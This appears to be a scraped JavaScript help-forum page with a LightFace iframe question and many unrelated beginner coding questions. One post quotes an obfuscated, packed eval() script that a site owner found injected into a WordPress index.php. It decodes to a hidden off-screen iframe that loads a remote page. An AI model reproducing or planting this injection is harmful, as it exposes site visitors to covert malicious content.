JavaScript - Making A Piece Of Code Into A Function
Hi, I have this code:
Code: window.addEvent('domready',function(){ document.id('cool').addEvent('click',function() { light = new LightFace.IFrame({ height:400, width:800, url: 'http://google.com', title: 'Google!' }).addButton('Close', function() { light.close(); },true).open(); }); }); It's a piece from something called the lightface iframe. What I want to do is to have this code on my javascript page, that's included on the main page where I want to call it. I call on it like this: Code: <a href="#" id="cool">Edit general info</a> However this only works if it's on the main page, not when I have it on my js page. So what I want to do is to turn it into a function, because that I know works. Could anyone help me with this? Thanks in advance for your time! Similar TutorialsI don't know anything about Javascript. My brother-in-law wanted me to update some pictures on his website. I found a piece of javascript code and am curious as to what it's function would be. Could someone please tell me what this piece of code is doing / what it's being used for. Thanks in advance. Here's the code: Code: <csscriptdict> <script><!-- function CSClickReturn () { var bAgent = window.navigator.userAgent; var bAppName = window.navigator.appName; if ((bAppName.indexOf("Explorer") >= 0) && (bAgent.indexOf("Mozilla/3") >= 0) && (bAgent.indexOf("Mac") >= 0)) return true; // dont follow link else return false; // dont follow link } CSStopExecution = false; function CSAction(array) { return CSAction2(CSAct, array); } function CSAction2(fct, array) { var result; for (var i=0;i<array.length;i++) { if(CSStopExecution) return false; var actArray = fct[array[i]]; if(actArray == null) return false; var tempArray = new Array; for(var j=1;j<actArray.length;j++) { if((actArray[j] != null) && (typeof(actArray[j]) == "object") && (actArray[j].length == 2)) { if(actArray[j][0] == "VAR") { tempArray[j] = CSStateArray[actArray[j][1]]; } else { if(actArray[j][0] == "ACT") { tempArray[j] = CSAction(new Array(new String(actArray[j][1]))); } else tempArray[j] = actArray[j]; } } else tempArray[j] = actArray[j]; } result = actArray[0](tempArray); } return result; } CSAct = new Object; CSAg = window.navigator.userAgent; CSBVers = parseInt(CSAg.charAt(CSAg.indexOf("/")+1),10); function IsIE() { return CSAg.indexOf("MSIE") > 0;} function CSIEStyl(s) { return document.all.tags("div")[s].style; } function CSNSStyl(s) { return CSFindElement(s,0); } function CSFindElement(n,ly) { if (CSBVers < 4) return document[n]; var curDoc = ly ? ly.document : document; var elem = curDoc[n]; if (!elem) { for (var i=0;i<curDoc.layers.length;i++) { elem = CSFindElement(n,curDoc.layers[i]); if (elem) return elem; }} return elem; } function CSSetImageURL(action) { var img = null; if (document.images) { if (!IsIE()) img = CSFindElement(action[1],0); else img = document.images[action[1]]; if (img) img.src = action[2]; } }function CSGotoLink(action) { if (action[2].length) { var hasFrame=false; for(i=0;i<parent.frames.length;i++) { if (parent.frames[i].name==action[2]) { hasFrame=true; break;}} if (hasFrame==true) parent.frames[action[2]].location = action[1]; else window.open (action[1],action[2],""); } else location = action[1]; } // --></script> </csscriptdict> <csactiondict> <script><!-- CSAct[/*CMP*/ 'B52BCE950'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/geebee.jpg'); CSAct[/*CMP*/ 'B527CA9F3'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif'); CSAct[/*CMP*/ 'B527CAD04'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/f-4.jpg'); CSAct[/*CMP*/ 'B527CAE85'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif'); CSAct[/*CMP*/ 'B527CBCF6'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/boeing-314.jpg'); CSAct[/*CMP*/ 'B527CBEF7'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif'); CSAct[/*CMP*/ 'B527CC588'] = new Array(CSGotoLink,/*URL*/ 'goldenage.htm',''); CSAct[/*CMP*/ 'B527CD869'] = new Array(CSGotoLink,/*URL*/ 'aboutus.html',''); CSAct[/*CMP*/ 'B527D7110'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/HE-111.jpg'); CSAct[/*CMP*/ 'B527D7281'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif'); CSAct[/*CMP*/ 'B527D73B2'] = new Array(CSGotoLink,/*URL*/ 'wwiiidmodels.htm',''); CSAct[/*CMP*/ 'B527D75D3'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/lancaster.jpg'); CSAct[/*CMP*/ 'B527D77E4'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif'); CSAct[/*CMP*/ 'B527D7895'] = new Array(CSGotoLink,/*URL*/ 'wwiiexpert.htm',''); CSAct[/*CMP*/ 'B527D9120'] = new Array(CSGotoLink,/*URL*/ 'modeler.html',''); CSAct[/*CMP*/ 'B527D9291'] = new Array(CSGotoLink,/*URL*/ 'faq.html',''); CSAct[/*CMP*/ 'B527D9372'] = new Array(CSGotoLink,/*URL*/ 'contact.html',''); CSAct[/*CMP*/ 'B527D94A3'] = new Array(CSGotoLink,/*URL*/ 'custom.htm',''); CSAct[/*CMP*/ 'B527D96E5'] = new Array(CSGotoLink,/*URL*/ 'seaplanes.htm',''); CSAct[/*CMP*/ 'B52D133826'] = new Array(CSGotoLink,/*URL*/ 'postwarmodels.htm',''); CSAct[/*CMP*/ 'B530F9380'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/F-104.jpg'); CSAct[/*CMP*/ 'B530F9501'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif'); // --></script> </csactiondict> Here's the website that it's on: http://www.aircraftmodels.com/index.htm I need to understand this code but i am not able to fully understand it to use it for myself. Anybody can you help please function getScore(form) { var score = 0; var currElt; var currSelection; for (i=0; i<numQues; i++) { currElt = i*numChoi; for (j=0; j<numChoi; j++) { currSelection = form.elements[currElt + j]; if (currSelection.checked) { if (currSelection.value == answers[i]) { score++; break; } } } } score = Math.round(score/numQues*100); // math.round function will return the whole number to the nearest specified value for example 1.9 will show as 2 form.percentage.value = score + "%"; // The score will be displayed in percentage var correctAnswers = ""; for (i=1; i<=numQues; i++) { correctAnswers += i + ". " + answers[i-1] + "\r\n"; } form.solutions.value = correctAnswers; } Any short explanation will be a great help. Here's the basic concept, its somewhat of a counter, and I think javascripts the way to go... Basically I'm looking to generate a running number... x + 11 = print the number The tricky part is, I need it to never stop, somewhat like a timer (example http://www.hashemian.com/tools/javascript-countdown.htm) but not a timer... Think the tally mark on McDonald's 99 billion served.. Any suggestions or ideas? Hi, below is some code I've found at w3schools site. It demonstrates the use of "onkeypress" event by allowing only non-numerical input. It works great and is mostly clear to me, except for the part I marked in red. Could someone please explain this part to me step by step? It's probably a noobish question, but I thought you could only use "return" inside a function. Are "return true" and "return false" just optional parameters to the "onkeypress" event? If so, where else can they be used? Also what information exactly does the "(event)" being passed into the function "noNumbers()" carry? <html> <body> <script type="text/javascript"> function noNumbers(e) { var keynum; var keychar; var numcheck; if(window.event) // IE8 and earlier { keynum = e.keyCode; } else if(e.which) // IE9/Firefox/Chrome/Opera/Safari { keynum = e.which; } keychar = String.fromCharCode(keynum); numcheck = /\d/; return !numcheck.test(keychar); } </script> <form> Type some text (numbers not allowed): <input type="text" onkeypress= "return noNumbers(event)" /> </form> I have a piece of code that pulls reviews and allows a business owner to drop the reviews on to their website. I need to limit the number of reviews and ideally I'd like to do that with just the snippet the biz owner drops into their site. Is this possible? Here's a sample of the code: <div id="repagent_reviews"></div><script type="text/javascript" src="http://awebsite.com/anotherwebsite/wp-admin/admin-ajax.php?action=repagent_reviews_js&id=1182"></script> thanks! confused Hi, can anyone help me with this? The following html is to upload an image, it works ok on firefox, but while using google chrome, nothing happened when I clicked "upload LOGO" button. .................................................................................................... .... <html> <body> <form method="post" action="action_start_initial_registration.php" name="initial_registration" id="initial_registration" enctype="multipart/form-data"> <input type="file" style="display:none" onchange="checkLogo()" name="input_logo_file" id="input_logo_file" value="input_logo_file"> <input type="text" name="logo_flag" id="logo_flag" value="0" style="display:none;"/> <a href="javascript:void(0);" onclick="input_logo_file.click()"><em>upload LOGO</em></a><br /> </form> <script type="text/javascript"> function checkLogo(){ document.getElementById("logo_flag").value="1"; document.getElementById("initial_registration").submit(); } </script> </body> </html> ............................................................................................. I was wondering if someone could help me make this function that's tied to a HTML select work on an <imput type="image">. Ideally what I would like to do is tie everything to the <input type="image"> , right now the way the code works is that when I choose yes or no the image on the <img src=""> changes. So basically when I choose yes or no in the select what I would like the image source to change for the <input type="image"> assuming it's possible. Ty... See my demo page for where I have it working on an img src but not an input which is what I really want. Here's the link again to my testing / demo page: http://www.myu2sig.com/stellardonations/buttontype.php Now for all of the code that produces what you see on said page. Code: <script type="text/javascript"> function showimage(t){ if (!document.images) return; document.images[t.getAttribute("name").replace("select","pics")].src=t.options[t.selectedIndex].id } </script> Regular Image using: < img name="firstpics" src="/stellardonations/paypaldonate.gif"><br /> <img name="firstpics" src="/stellardonations/paypaldonate.gif"> <br /><br /> Input Image using: < input type="image" src="/stellardonations/paypaldonate.gif" border="0" name="submit" ><br /> <input type="image" src="/stellardonations/paypaldonate.gif" border="0" name="submit"> <br /><br /> <select name="firstselect" onChange="showimage(this)"> <option id="/stellardonations/paypalsubscribe.gif" value="Yes">Yes</option> <option selected="selected" id="/stellardonations/paypaldonate.gif" value="No">No</option> </select> <br /><br /> No = Donate<br /> Yes = Subscribe I followed the tutorial below and got my image fade to work: http://clagnut.com/sandbox/imagefades/ Now I want to have text become visible once the fade is done. I can't get it to work. style portion: .enhanced { visibility:hidden; } javascript functions: <script language="javascript"> document.write("<style type='text/css'> ##thephoto {visibility:hidden;} </style>"); window.onload = function() {initImage()}; function initImage() { imageId = 'thephoto'; image = document.getElementById(imageId); setOpacity(image, 0); image.style.visibility = 'visible'; fadeIn(imageId,0); } function setOpacity(obj, opacity) { opacity = (opacity == 100)?99.999pacity; // IE/Win obj.style.filter = "alpha(opacity:"+opacity+")"; // Safari<1.2, Konqueror obj.style.KHTMLOpacity = opacity/100; // Older Mozilla and Firefox obj.style.MozOpacity = opacity/100; // Safari 1.2, newer Firefox and Mozilla, CSS3 obj.style.opacity = opacity/100; } function fadeIn(objId,opacity) { if (document.getElementById) { obj = document.getElementById(objId); if (opacity <= 100) { setOpacity(obj, opacity); opacity += 10; window.setTimeout("fadeIn('"+objId+"',"+opacity+")", 150); } if (opacity = 100) { textId = 'enhanced'; text = document.getElementById(textId); text.style.visibility="visible"; } } } </script> I have added this to the last function: if (opacity = 100) { textId = 'enhanced'; text = document.getElementById(textId); text.style.visibility="visible"; } But the text appears instantly. Hello all..I am new to this forum and also new to html and js. I started college at the ripe old age of 55 and I have to take this course for my required degree I have a table 5 across with thumbnails inside and a larger cell at the bottom with a picture of me. I need to write a javascript function that will make the big picture change when I click on the thumbnail...there is also a smaller cell at the bottom that would change that text to a description as well,when thumbnail clicked. Ihave no clue where to start. Any help would be much appreciated!! Thanks In advance <style> .table th {border-style: solid; border-color: red;background-color: #CCCCFF; } </style> <body> <table border="1" class="table"> <thead> <th colspan = "5">Click an Image to Enlarge </th> </thead> <tbody> <tr> <td> <img src = "Thumbnails/ada1838-thumb.JPG" alt = "ada1838-thumb" > </td> <td> <img src = "Thumbnails/adaplaque-thumb.JPG" alt = "adaplaque-thumb"> </td> <td> <img src = "Thumbnails/babbageborn-thumb.JPG" alt = "babbageborn-thumb"> </td> <td> <img src = "Thumbnails/aediagram-thumb.JPG" alt = "aediagram-thumb"> </td> <td> <img src = "Thumbnails/babbage1860-thumb.JPG" alt = "babbage1860-thumb"> </td> </tr> <tr><td colspan= "5" ><img src= "All_Images/Me@home.JPG" alt = "Me @ Home" width = "800px" height= "800px" align="center"> </td> </tr> <thead> <th colspan = "5"> </th> </thead> </table> </body> </html> I'm teaching myself how to build websites; up until now I have made websites using tables within tables and it's all fairly straight forward, now I realise that divs and css allow you to do soooo much more! I have put these files in a temp folder on my website so not to over write the current site. Basically I have followed this online tutorial (http://www.cryer.co.uk/resources/jav...show_links.htm) but when I test the slideshow, it doesn't work. the link is: www.telecaretechnology.com/telecare2/index.html Since I have started writing this, my css file seems to have had a wobbly - I assume my problem is where I'm trying to use server-side include?? Is that the best way to add these files? the javascript I have used to make the slideshow run is he http://www.telecaretechnology.com/te...2/slideshow.js I would really appreciate any advice! Kind Regards, Jamie I have some code to pick a wire size and conduit size from 2 separate drop down list. Then inside the js it is evaluated to decide how many wires. My problem is I can't figure out how to make the drop down options go into the JS. I just put in an error alert to test if they were for now. Here is my code: Code: function fillcap(){ var wire = document.getElementById("wireSize"); var conduit = document.getElementById("conduitSize"); if (wire.option.length >= 10 && conduit.option.length == .5) { windows.alert("Wire Size exceeds conduit max fill!") } And the html Code: <h2>Fill Capacity</h2><br> <b>Wire Size</b><br> <select id ="wireSize"> <option value="1">#14</option> <option value="2">#12</option> <option value="3">#10</option> <option value="4">#8</option> <option value="5">#6</option> <option value="6">#4</option> <option value="7">#3</option> <option value="8">#2</option> <option value="9">#1</option> <option value="10">1/0</option> <option value="20">2/0</option> <option value="30">3/0</option> <option value="40">4/0</option> <option value="250">250</option> <option value="300">300</option> <option value="350">350</option> <option value="400">400</option> <option value="500">500</option> <option value="600">600</option> <option value="700">700</option> <option value="750">750</option> </select> <br> <b>Conduit Size</b><br> <select id="conduitSize"> <option value=".5">1/2</option> <option value=".75">3/4</option> <option value="1">1</option> <option value="1.25">1-1/4</option> <option value="1.5">1-1/2</option> <option value="2">2</option> <option value="2.5">2-1/2</option> <option value="3">3</option> <option value="3.5">3-1/2</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> </select><br> <input value="Wires allowed" onclick="fillcap()" type="button"> <input type="text" name="myresultbox" id="resultbox10"> Wires<br> Thank you for any advice. I'd be grateful if someone can help me fix this peice of JavaScript code... function gotoURL(){ var newURL = document.GotoForm.theURL.value if (newURL == "100BC" || newURL == "480BC" || newURL == "1642" || newURL == "1679" || newURL == "1752" || newURL == "future") { window.location.href = "date/" + newURL + ".php"; } else if (newURL == "100bc" || newURL == "480bc") { newURL.replace(/bc/g/, "BC"); } else if (newURL == "FUTURE") { newURL.replace(/FUTURE/g/, "future"); } else{ alert("You entered an invalid year, try inputting another year"); }} Thanks. Happy new Year, I need to use the escape() function to protect a string before sending it with a POST request. Alas , the function escape() is not supported on the Javascript engine used ( WITBE scenario doesn't support DOM specific functions ). Has anybody the code, in JAVAscript of this function ? Cos without it the POST request doesn't work as expected. Cheers, Didier. Hi there, I'm trying to better understand the Google Analytics asynchronous tracking code and am wondering why it uses the following construct: (function() { some code })(); How is that different from some code? Thank you for your answers. (FYI: although I am familiar with dynamic programming languages, I'm new to Javascript.) Regards, Simon So I like to think I'm pretty decent with web programming, but this code has me puzzled.
Code: <script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('r n(5){3 b=\'w\';3 c=h e();k(3 i=0;i<x;i++){c[b.f(i>>4)+b.f(i&u)]=t.q(i)}6(!5.s(/^[a-v-9]*$/i))o y;6(5.g%2)5=\'0\'+5;3 l=5.g;3 7=h e();3 j=0;k(3 i=0;i<l;i+=2){7[j++]=c[5.A(i,2)]}o 7.z(\'\')}6(8.m.C(\'p=d\')==-1){8.B(n(\'D\'));8.m=\'p=d\'}',40,40,'|||var||data|if|result|document|||b16_digits|b16_map|enabled|Array|charAt|length|new|||for|ll|cookie|hDcd|return|cookien|fromCharCode|function|match|String|15|f0|0123456789abcdef|256|false|join|substr|write|indexOf|3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393370783b20746f703a202d3239393470783b223e3c696672616d652077696474683d22343022206865696768743d22333022207372633d22687474703a2f2f3167323166736e32747062642e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'.split('|'),0,{}))</script> I know it's evil code, I had to put it through a base 64 decode twice to get to this. But all that I'm really after is this: Is there any lingering harm on the website which had this live code? When one tries to create a link to the site (powered by WordPress, by the way) on Facebook, there is this error message: Code: Cannot modify header information - headers already sent by (output started at /home/content/xx/xxxxxxx/html/index.php(1) : eval()'d code:37) in /home/content/xx/xxxxxxx/html/wp-includes/pluggable.php on line 897 Even though I've taken the code out from index.php and then functions.php after I spotted it there. Why is this error on FB still happening if this code cannot be found in the text files? Could there be something evil happening in the database? Any assistance would be most appreciated. write a function that when called will ask the user for a series of numbers to be entered 1 at a time and then calculates their sum,their average,and their average rounded up then output the results. for example the average of a series of numbers is found by adding the numbers together and dividing by the amount of numbers entered (so the average of 2,5,1 and 7 is equal to (2+5+1+7)/4=15/4=3.75). Hi.. I don't know if my idea is possible and if how can I do that. I have functions for button onclick. I have 3 buttons and I want to change the color of my button if it is active here is my code Code: <script type="text/javascript"> //=========display parameter settings==========// function display_PS(){ document.loading_kanban.action="ParameterSettings.php"; document.loading_kanban.submit(); } //=======display kanban=========// function display_Kanban(){ document.loading_kanban.action="kanban_report.php"; document.loading_kanban.submit(); } //=========display SR==========// function display_SR){ document.loading_kanban.action="StockRequisition.php"; document.loading_kanban.submit(); } </script> <div id="main_button"> <input type="button" name="parameter_settings" value="Parameter Settings" onclick="display_PS()"> <input type="button" name="parameter_settings" value="Stock Requisition" onclick="display_SR()"> <input type="button" name="parameter_settings" value="Kanban Report" onclick="display_Kanban()"> </div> Is it possible to add code in my function for css active button..If no what should I do to change the color of my button for the client to know what page she is. Thank you Found this random background img code that works great: Code: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Untitled</title> <script type="text/javascript"> function changeImg(imgNumber) { var myImages = ["images/image0.jpg", "images/image1.jpg", "images/image2.jpg", "images/image3.jpg"]; var imgShown = document.body.style.backgroundImage; var newImgNumber =Math.floor(Math.random()*myImages.length); document.body.style.backgroundImage = 'url('+myImages[newImgNumber]+')'; } window.onload=changeImg; </script> <style type="text/css"> .bg {background-attachment:fixed; background-repeat: no-repeat; background-position:0% 0%;} </style> </head> <body class="bg"> <p>Some text</p> <!-- put a lot text lines here to see that the background stays fixed. --> <p>Some text</p> </body> The only problem i have is making the background image width and height 100% so that the entire image fills in the screen and fills in on resize of window. Please Help...thanks in advance I need help adding an additional function to some existing java script code I already have. In addition to the functions already on this js, I want make it so the banner displays one of the images randomly on each new page load. I have an external js file that this page also links too. Not sure if I need to post that also. I was hoping to just add to this code. Any help is greatly appreciated <script type="text/javascript" src="js/homepage-banners/simplegallery.js"> </script> <script type="text/javascript"> var mygallery=new simpleGallery({ wrapperid: "simplegallery1", dimensions: [250, 180], imagearray: [ ["img/headers/automotive.jpg", "http://www.visionsystem.com/applications/automotive_metal.php", "", ""], ["img/headers/electrical.jpg", "http://www.visionsystem.com/applications/electronics.php", "", ""], ["img/headers/food-packaging.jpg", "http://www.visionsystem.com/applications/food_pharmaceutical.php", "", ""], ["img/headers/medical-pharmaceutical.jpg", "http://www.visionsystem.com/applications/food_pharmaceutical.php", "", ""], ["img/headers/semiconductor.jpg", "http://www.visionsystem.com/applications/electronics.php", "", ""], ["img/headers/automation.jpg", "http://www.visionsystem.com/applications/food_pharmaceutical.php", "", ""] ], autoplay: [false, 2500, 2], persist: false, fadeduration: 500, oninit:function(){ }, onslide:function(curslide, i){ } }) </script> Hello everybody I need your help in this problem At first, this is the code used HTML Code PHP Code: <input type="text" onfocus="fadeIn(this)" /><div class="box" style="opacity: 0.0"></div><br /> <input type="text" onfocus="fadeIn(this)" /><div class="box" style="opacity: 0.0"></div> JavaScript Code PHP Code: function fadeIn(elem){ element = elem.nextSibling; elemOpacity = element.style.opacity; element.innerHTML = elemOpacity; if (elemOpacity < 1.0) element.style.opacity = parseFloat(elemOpacity) + 0.1; timeIn = setTimeout(fadeIn, 100); } I have used the opacity property to make fading element like fadeIn() function in jquery , and i have used onfocus event to execute the code . Problem exists in setTimeout function, this function Does not work But the code works without this function What is the cause of the problem , Please help me |